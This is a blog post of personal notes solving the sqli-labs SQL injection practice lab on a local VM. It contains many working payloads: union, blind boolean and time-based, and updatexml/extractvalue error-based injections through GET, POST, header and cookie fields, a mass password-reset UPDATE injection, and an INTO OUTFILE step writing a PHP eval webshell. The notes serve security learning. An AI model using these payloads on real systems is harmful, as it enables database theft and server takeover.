[NOTE] sqli-labs Basic Challenges

[NOTE] sqli-labs Basic Challenges

前言

针对sqli-labs靶场的做题笔记

环境
虚拟机环境
攻击机:kali 10.10.10.1
靶机:ubuntu 10.10.10.2 小皮面板搭建Web服务

Less-1: GET-Error based-Single quotes–String

提示输入数字参数id
正常输入1,我是个dumb
输入',报错了,顺便知道用了limit 0,1限制输出
输入?id=' or '1'='1,回显dumb,字符型注入
?id=1' order by 3 %23,得出字段数为3
?id=' union select 1,2,3 %23,得到回显第2、3个字段:
在这里插入图片描述

然后就可以对第2、3个字段进行修改,提取我们感兴趣的信息

?id=’ union select 1,group_concat(table_name),3 from information_schema.tables where table_schema=database() %23
提取当前数据库中的所有表名

?id=' union select 1,group_concat(column_name),3 from information_schema.columns where table_schema=database() and table_name='users' %23
提取users表中的所有字段名

?id=' union select 1,group_concat(username),group_concat(password) from users %23
提取users表中的所有用户名和对应的密码

Less-2: GET-Error based-Intiger based

和Less-1差不多,只是换成了数字型注入
信息获取把id对应的参数换成不存在的即可

Less-3: GET-Error based-Single quotes with twist-String

正常输入?id=1,没啥
输入?id=’,报这种错:
在这里插入图片描述

猜测查询结构类似为where id = (‘ $XXX ’)
输入?id=’) or 1=1 %23验证,发现也回显正常了
?id=') order by 4 %23报错,得回显字段数为3
?id=') union select 1,2,3 %23
下面略

Less-4: GET-Error based-Double Quotes-String

常规测试
/?id=',什么都没报错
/?id=",报错如下:
在这里插入图片描述

/?id=” or 1=1 %23,报错如下:
在这里插入图片描述

/?id=”) or 1=1 %23,正常回显
猜测查询结构类似为where id = (“ $XXX ”)

?id=") order by 4 %23

?id=") union select 1,2,3 %23

?id=") union select 1,database(),3 %23

?id=") union select 1,group_concat(table_name),3 from information_schema.tables where table_schema=database() %23

?id=") union select 1,group_concat(column_name),3 from information_schema.columns where table_schema=database() and table_name='users'%23

?id=") union select 1,group_concat(username),group_concat(password) from users %23

Less-5: GET-Double Injection-Single Quotes-String

常规测试
?id=1,显示“you are in”
在这里插入图片描述

?id=99,啥也没显示
?id=’
在这里插入图片描述

?id=’ or ‘1’=’1
在这里插入图片描述

好像和之前的也没啥区别?继续?id=1’ order by 3 %23,回显了:
在这里插入图片描述

?,继续尝试,得到返回字段数为3,进一步?id=' union select 1,2,3 %23
在这里插入图片描述

继续?id=' union select 1,group_concat(table_name),3 from information_schema.tables where table_schema=database() %23

继续?id=' union select 1,group_concat(column_name),3 from information_schema.columns where table_schema=database() and table_name='users' %23

继续?id=' union select 1,group_concat(username),group_concat(password) from users %23

搞定了,What‘s the differences??

上网了解double injection,原来是双查询注入
重新尝试
?id=1' union select 1, concat((select database()), floor(rand(14)*2)) as c, count(*) from information_schema.tables group by c %23
报错啊啊啊啊啊啊啊
首先是说什么两个数据库的字符集不同,然后又说什么
在这里插入图片描述

麻了,看多几遍这两个文章当会了得了:
MySQL中Double Injection原理浅析
sqli-labs level5-6 双查询注入

Less-6: GET-Double Injection-Double Quotes-String

呃,听说和Less-5一样,只是单引号变成了双引号

Less-7: GET-Dump into outfile-String

/?id=1
在这里插入图片描述

outfile?啥?
?id=‘
在这里插入图片描述

详细报错也没了
然后发现不管是单双引号加上括号都不好使了
(其实是要让前面为真,然后才跟or)
/?id=1/?id=1’/?id=1”
一三可以,二不行,字符型注入(测试不够全面)
尝试/?id=1” order by 9 %23,发现也能显示you are in,不对劲
原来存在括号,而且是单引号包起来的变量,需要探测出来
/?id=1’)),显示you are in
order by探测字段数:?id=1')) order by 3 %23
?id=')) union select 1,2,3 %23,发现也只是显示you are in,看来是不会在页面显示信息了

于是百度dump into outfile
MySQL的outfile函数用于将查询结果写入到服务器文件中
因为涉及到在服务器上写入文件,所以上述函数能否成功执行受到参数secure_file_priv 的影响
然后到靶机中的my.cnf配置中新增了secure_file_priv=
这样就可以不限制上传位置了

?id=1')) union select 1,2,'<?php @eval($_POST["hack"]);?>' into outfile '/www/sqli-labs-master/shell.php' %23
虽然还是会显示有语法错误,但是实际上已经上传文件了(前提是要有对目标文件夹的写入权限(一般/tmp/会有,这里我临时改了/www/的权限))
然后蚁剑链接,只获得了/www/sqli-labs-master/的权限

Less-8: GET-Blind-Boolian Based-Single Quotes

基于布尔的盲注
/?id=1行、/?id=1‘不行、/?id=1”行——字符型单引号注入
/?id=1' order by 4 %23判断字段数为3
?id=' union select 1,2,3 %23发现也只是显示you are in,盲注

  1. 猜解当前数据库名长度
    /?id=' or (length(database())=8) %23

  2. 猜解数据库名

    1. 第一个字符
      /?id=' or (ascii(substr(database(),1,1))<=90) %23不对
      /?id=' or (ascii(substr(database(),1,1))<=122) %23
      说明第一个字符为小写字母(则很有可能全部字符都是小写字母)
      二分法猜字母
      /?id=' or (ascii(substr(database(),1,1))<=109) %23不对
      /?id=' or (ascii(substr(database(),1,1))<=115) %23
      /?id=' or (ascii(substr(database(),1,1))<=112) %23不对
      字符为113-115,逐个试
      /?id=' or (ascii(substr(database(),1,1))=115) %23
      第一个字符为‘s‘

    2. 第二个字符
      基于第一个字符的经验,猜测为小写字母
      /?id=' or (ascii(substr(database(),2,1))<=109) %23
      /?id=' or (ascii(substr(database(),2,1))<=103) %23
      /?id=' or (ascii(substr(database(),2,1))<=100) %23不对
      字符为101-103,逐个试
      /?id=' or (ascii(substr(database(),2,1))=101) %23
      第二个字符为‘e‘

    3. 逐步猜解出数据库名为’security’
      验证,/?id=' or (database()='security') %23

  3. 猜解数据库中表的数量
    /?id=' or ((select count(table_name) from information_schema.tables where table_schema=database())=3) %23不对
    /?id=' or ((select count(table_name) from information_schema.tables where table_schema=database())=4) %23
    说明当前数据库中表的数量为4
    (其实不用猜数据库名?)

  4. 猜解数据库中表名的长度

    1. 第一个表名长度
      /?id=' or (length(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1), 1))=5) %23不对
      /?id=' or (length(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1), 1))=6) %23
      说明第一个表名的长度为6
    2. 第二个表名长度
      /?id=' or (length(substr((select table_name from information_schema.tables where table_schema=database() limit 1,1), 1))=7) %23不对
      /?id=' or (length(substr((select table_name from information_schema.tables where table_schema=database() limit 1,1), 1))=8) %23
      说明第二个表名的长度为8
    3. 逐步猜解出四个表的表名长度依次为6、8、7、5(适当使用二分法)
  5. 猜解数据库中的表名

    1. 第一个表名
      猜表名很可能和数据库名一样是全小写
      /?id=' or (ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))<=109) %23
      /?id=' or (ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))<=103) %23
      /?id=' or (ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))<=100) %23
      字符为101-103,逐个试
      /?id=' or (ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))=101) %23
      第一个字符为‘e‘
      /?id=' or (ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),2,1))=109) %23
      第二个字符为‘m‘
      逐步猜出第一个表名为‘emails‘
      或者猜出前两三个字符,配合长度为5,可以直接猜是‘emails‘
      验证,/?id=' or ((select table_name from information_schema.tables where table_schema=database() limit 0,1)='emails') %23
    2. 第二个表名
      /?id=' or (ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 1,1),1,1))=114) %23
      第一个字符为‘r’
      /?id=' or (ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 1,1),2,1))=101) %23
      第二个字符为‘e’
      逐步猜出第二个表名为‘referers’
    3. 第三个表名为‘uagents’
    4. 第四个表名为‘users’
  6. 猜解users表的字段数
    ?id=' or ((select count(column_name) from information_schema.columns where table_schema=database() and table_name='users')=3) %23
    users有3个字段

  7. 猜解users表每个字段名的长度
    /?id=' or ((length(substr((select column_name from information_schema.columns where table_schema=database() and table_name='users' limit 0,1),1)))=2) %23
    第一个字段名长2
    /?id=' or ((length(substr((select column_name from information_schema.columns where table_schema=database() and table_name='users' limit 1,1),1)))=8) %23
    第二个字段名长8
    逐步猜解三个字段名依次长2、8、8

  8. 猜解users表的每个字段名

    1. 第一个字段名
      /?id=' or (ascii(substr((select column_name from information_schema.columns where table_schema=database() and table_name='users' limit 0,1),1,1))=105) %23
      第一个字符为‘i’
      完整名字是‘id’
    2. 第二个字段名
      /?id=' or (ascii(substr((select column_name from information_schema.columns where table_schema=database() and table_name='users' limit 1,1),1,1))=112) %23
      第一个字符为‘p’
      第二个字符为‘a’
      结合长度为8,表名为‘users’,猜测为‘password’
      验证,/?id=' or ((select column_name from information_schema.columns where table_schema=database() and table_name='users' limit 1,1)='password') %23
    3. 第三个字段名为‘username’
  9. 猜解username字段中值的数量
    /?id=' or ((select count(username) from users)=13) %23
    有13个用户

  10. 猜解最后一个用户名的长度
    /?id=' or (length(substr((select username from users limit 12,1),1))=6) %23
    最后一个用户名长6

  11. 猜解最后一个用户名
    这里需要注意的是,不要默认是全小写了,因为是用户名,首字母大写或者是数字或者是别的情况都有可能
    /?id=' or ((ascii(substr((select username from users limit 12,1),1,1)))=97) %23
    第一个字符为‘a’
    /?id=' or ((ascii(substr((select username from users limit 12,1),2,1)))=100) %23
    第二个字符为‘d’
    第三个字符为‘m’
    第四个字符为‘i’
    第五个字符为‘n’
    /?id=' or ((ascii(substr((select username from users limit 12,1),6,1)))=52) %23
    第六个字符为‘4’
    最后一个用户名为‘admin4’

  12. 最后给出一些直接猜测常用表名、字段名的方法

    1. 直接猜表名
      /?id=' or ((select count(*) from information_schema.tables where table_name='users' and table_schema=database())=1) %23
      当前数据库中存在users表

    2. 直接猜字段名
      /?id=' or ((select count(*) from information_schema.columns where column_name='username' and table_name='users')=1) %23
      users表中存在username字段

    3. 直接猜字段值
      /?id=' or ((select count(*) from users where username='admin')=1) %23
      users表中存在admin用户


手工注入真丁8累,跑跑sqlmap爽一下
在这里插入图片描述

爽中爽!!!

Less-9: GET-Blind-Time based-Single Quotes

基于时间的盲注,完全不会,先去学习一波
原来,这时候的页面无论给id传什么值,是对是错都会显示you are in(就等于没有任何回显信息),这时候只能通过时间延迟来判断有没有注入点
首先是if(condition,A,B)语句,若condition成立,则返回A,否则返回B

(下面的延时时间由于个人问题设的很小,实际效果也会延时挺久的)
首先是判断注入类型:
/?id=' or if(1=1,sleep(1),0) %23:回应有延时
/?id=" or if(1=1,sleep(1),0) %23:回应很快
/?id= or if(1=1,sleep(1),0) %23:回应很快
说明是字符型注入,单引号
然后剩下的就和布尔盲注类似,只不过判断条件放到了if语句中,成立则延时

  1. 判断数据库名长度
    /?id=' or if((length(database())=7),sleep(1),0) %23,回应很快
    /?id=' or if((length(database())=8),sleep(1),0) %23,有延时
    说明数据库名长度为8个字符
  2. 判断数据库名第一个字符
    /?id=' or if((ascii(substr(database(),1,1))=115),0,sleep(0.5)) %23,回应很快
    说明第一个字符为‘s‘

下略

另外关于是对是错,什么时候延时不要限得太死,例如二分法时让错的延时,尽量让容易出现的情况延时就好

Less-10: GET-Blind-Time based-double quotes

与Less-9类似,也是字符型时间盲注,只不过是双引号
最后用sqlmap跑跑盲注
很奇怪,Less-9可以跑,Less-10却不行

Less-11: POST-Error Based-Single quotes-String

POST型,变成了账号密码登录页面
乱输,我fail了
输入‘会显示报错信息:
check the manual that corresponds to your MySQL server version for the right syntax to use near ‘’ and password=’’ LIMIT 0,1’ at line 1

两个都输1' or 1=1 #,登进去了,显示用户名和密码都是dumb
字符型单引号布尔注入

发现一个问题,username和password在SQL语句中的判定顺序需要确定一下
例如:
check the manual that corresponds to your MySQL server version for the right syntax to use near ‘union select 1,2 #’ and password=’’ or union select 1,2 #’ LIMIT 0,1’ at line 1
是先检查username的,所以。。。。应该把注入回显放在password字段
哦,也不是,直接注第一个字段就行,我是傻逼

注POST一定要整个能够Repeat的,像是BP、控制台啥的,不然累死
针对第一个字段的注入结果:

在这里插入图片描述

在这里插入图片描述

Less-12: POST-Error Based-Double quotes-String-with twist

仅在用户名字段输入“,报错:
check the manual that corresponds to your MySQL server version for the right syntax to use near ‘""") and password=("") LIMIT 0,1’ at line 1
看来还有括号
uname=") or 1=1 #&passwd=&submit=Submit
完事啦:
在这里插入图片描述

剩下常规注入即可。。。

Less-13: POST-Double Injection-Single quotes-String-with twist

uname='&passwd=&submit=Submit,报错:
在这里插入图片描述

单引号+括号
uname=') or 1=1 #&passwd=&submit=Submit,不对劲:
在这里插入图片描述

没有具体字段的回显,只显示了正确
这就盲注了?麻了

哦哦,不是,是double injection,我是傻逼

总结一下双重注入的适用场景:正确输入无信息,结构错误输入会报错
尝试上面双重注入提到的文章的方法
发现还是会有字符集的错误,吐了

关于这题的博文

Less-14: POST-Double Injection-Single quotes-String-with twist

同上,单引号换双引号

Less-15: POST-Blind-Boolian/time Based-Single quotes

盲注,只有成功、失败/语法错误两种信息,且没有报错提示
判断出字符型单引号盲注
看一遍上面讲过的流程,然后sqlmap

Less-16: POST-Blind-Boolian/Time Based-Double quotes

同上,单引号变成了双引号+括号
sqlmap跑不出?
试试–level 5 --risk 3最高级别探测——成啦

Less-17: POST-Update Query-Error Based-String

啥玩意,更新注入?
页面变成了输入了“用户名”和“新密码”,改密码的意思吗?
而且还有个“[PASSWORD RESET]”字段显示
先试试常规注入,随便输个双一,被骂了5555555
然后试试用户名admin,密码栾树,成功了,说明admin用户存在,还被我们改了密码?
登入到网站后台,发现密码还真被改了
那么怎么脱裤呢?

这是MySQL的更新语句,猜测应该是类似于下面这种:
UPDATE table SET pwd=' X X ′ W H E R E u s e r n a m e = ’ XX' WHERE username=’ XXWHEREusername=XXX’;
那我是不是可以产生设置pwd之后注释掉后面的语句,把所有用户的密码都改成我想要的?
试试输入用户名admin,新密码输入123’ #
登入后台,发现还真全被改了:
在这里插入图片描述

这种漏洞应该可以用在“找回密码->设置新密码”这种地方

所以怎么脱裤。。。。冲浪去了
原来uname字段作足了过滤,无法注入(可能是为了保证更改密码流程的执行)
只能在passwd字段作注入,可以使用双重注入updatexml()注入
passwd='or updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database()),0x7e),1)#
下面的就常规进行

updatexml()注入

是SQL语法中的函数
UPDATEXML(XML_document, XPath_string, new_value)

参数:

  1. XML_document是String格式,为XML文档对象的名称,文中为Doc
  2. XPath_string (Xpath格式的字符串) ,用于匹配第一个参数中的部分内容。(就像使用正则表达式匹配一个文本的特定内容一样)
  3. new_value,String格式,替换查找到的符合条件的数据。

作用:改变文档中符合条件的节点

利用updatexml函数的报错机制进行注入,原理就是当第二个参数的格式和Xpath的格式不符的时候,就会产生报错,我们可以将我们的payload构造到第二个参数中,让其随着报错信息展示到页面上

Less-18: POST-Header Injection-Uagent field-Error based

请求头注入?
发现首页还真给出了我的IP信息:
在这里插入图片描述

那就抓包。。。。看了一圈,发现请求头那里本身没有IP信息,要自己加?

冲浪,发现有一个X-Forwarded-For字段,不就是以前伪造是管理员的CTF题吗?
试试X-Forwarded-For:127.0.0.1,发现没改到。。。。
那就先试试常规注入,发现也都不行
呃,冲浪

如果成功登入会发现会会回显User Agent信息
在这里插入图片描述

那就猜注入点在请求头中的User-Agent字段
这里要求先能正确登入,才能改User-Agent字段注入
对应现实中先先注册用户再登录,再注入
由于User-Agent字段是会显示在登录成功页面中的,于是猜测是不是也是先获取字段内容,然后嵌入到显示语句中?

开始乱改,输入单引号:
You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ‘10.10.10.1’, ‘dumb’)’ at line 1
看来有SQL语句
输入’123213
You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ‘123213’, ‘10.10.10.1’, ‘dumb’)’ at line 1
难道SQL报错的规律是从出错的地方一直到语句末尾?
那这个很像是插入语句。。。。(好吧其实我是看过做法了)
试试1', '123', 'hack') #
Your User Agent is: 1’, ‘123’, ‘hack’) #

冲浪,有如下的payload(updatexml注入):
' or updatexml(1, concat(0x7e, (select database()), 0x7e), 1) or '

爆表:
' or updatexml(1, concat(0x7e, (select group_concat(table_name) from information_schema.tables where table_schema=database()), 0x7e), 1) or '

爆字段:
' or updatexml(1, concat(0x7e, (select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='users'), 0x7e), 1) or '

爆内容:
' or updatexml(1, concat(0x7e, (select group_concat(username) from users), 0x7e), 1) or '
(注意用updatexml()只能查询32位,要用substr函数逐段查询)
' or updatexml(1, concat(0x7e, substr((select group_concat(username) from users), 1, 32), 0x7e), 1) or '
' or updatexml(1, concat(0x7e, substr((select group_concat(username) from users), 32, 32), 0x7e), 1) or '
' or updatexml(1, concat(0x7e, substr((select group_concat(username) from users), 64, 32), 0x7e), 1) or '

或者这种payload:
' or updatexml(1, concat(0x7e, substr((select group_concat(username) from users), 1, 32), 0x7e), 1), '', '' ) #
猜出要插入多少段,主动闭合,然后最后注释

extractvalue()注入

或者另一种注入:extractvalue注入——与updatexml类似

extractvalue() :对XML文档进行查询的函数
语法:extractvalue(目标xml文档,xml路径)

爆库:
' or extractvalue(1, concat(0x7e, (select database()), 0x7e)) or '

爆表:
' or extractvalue(1, concat(0x7e, (select group_concat(table_name) from information_schema.tables where table_schema=database()), 0x7e)) or '
' or extractvalue(1, concat(0x7e, (select group_concat(table_name) from information_schema.tables where table_schema=database()), 0x7e)), '', '')#

下略

Less-19: POST-Header Injection-Referer field-Error based

请求头注入——Referer字段
登陆成功后是这种东西:
在这里插入图片描述

Referer字段改成单引号:
check the manual that corresponds to your MySQL server version for the right syntax to use near ‘10.10.10.1’)’ at line 1
猜测是上一题的insert,尝试', '', '')#
Column count doesn’t match value count at row 1
emmm,看来列数有变。试出这样子不会报错:', '')#,看来是插入两列

爆库:
' or updatexml(1, concat(0x7e, (select database()), 0x7e), 1), '')#

爆表:
' or updatexml(1, concat(0x7e, (select group_concat(table_name) from information_schema.tables where table_schema=database()), 0x7e), 1), '')#

爆字段:
' or updatexml(1, concat(0x7e, (select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='users'), 0x7e), 1), '')#

爆内容(注意使用substr函数分段查询):
' or updatexml(1, concat(0x7e, substr((select group_concat(username) from users), 32, 32), 0x7e), 1), '')#root

extractvalue()注入类似:
' or extractvalue(1, concat(0x7e, (select database()), 0x7e)) or ', '') #

下略

Less-20: POST-Cookie injections-Uagent field-Error based

cookie注入?User-Agent字段
乱登录,好像没啥
dumb登录:
在这里插入图片描述
之后由于cookie值已保存,再次刷新也是这个页面
抓刷新的包,发现有发送过去的cookie——Cookie: uname=Dumb
把uname改成dhakkan,呃,直接给出了对应的内容:
在这里插入图片描述

如何利用cookie字段脱裤?
从传入名字会获取密码和id来看,猜测是类似于这样的结构:
select password,id from users where username=$_COOKIE[‘uname’]
改单引号:
check the manual that corresponds to your MySQL server version for the right syntax to use near ‘’’’ LIMIT 0,1’ at line 1
改成‘ or 1=1 #,通过,回显id=1

剩下的就是常规注入了
dumb' order by 3 #
' union select 1,2,3 #——回显3、1字段
' union select group_concat(table_name),2,database() from information_schema.tables where table_schema=database() #

下略

Less-21: POST-Dump into outfile-String

大概和Less-7差不多吧,只是GET改POST,吧
乱登没结果
正确登入的界面和上一题差不多,但是用户名回显的是经过base64加密后的结果
然后试了试常规地改cookie的uname值为单引号啥的,发现不太行
是不是要传入base64加密后的cookie值?
于是传入base64加密后的单引号:Jw==
发现成功报错:
check the manual that corresponds to your MySQL server version for the right syntax to use near ‘’’’) LIMIT 0,1’
于是传入') or 1=1 #的base64加密,成功
在这里插入图片描述

下面就是常规注入了,只不过payload都要经过base64加密
那么Dump into outfile呢?再次复习一遍好了
只不过这里的上传webshell应该也是通过cookie来注入
试试?id=') union select 1,2,'<?php @eval($_POST["hack"]);?>' into outfile '/www/sqli-labs-master/shell.php' #的base64编码
呃:
Issue with your mysql: The MySQL server is running with the --secure-file-priv option so it cannot execute this statement
靶机就要有靶机的样子,去关掉了:MySQL配置文件添加:secure_file_priv=
再次尝试上传,成功(有警告)
蚁剑连接,成功,但是同样只有www用户的权限

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值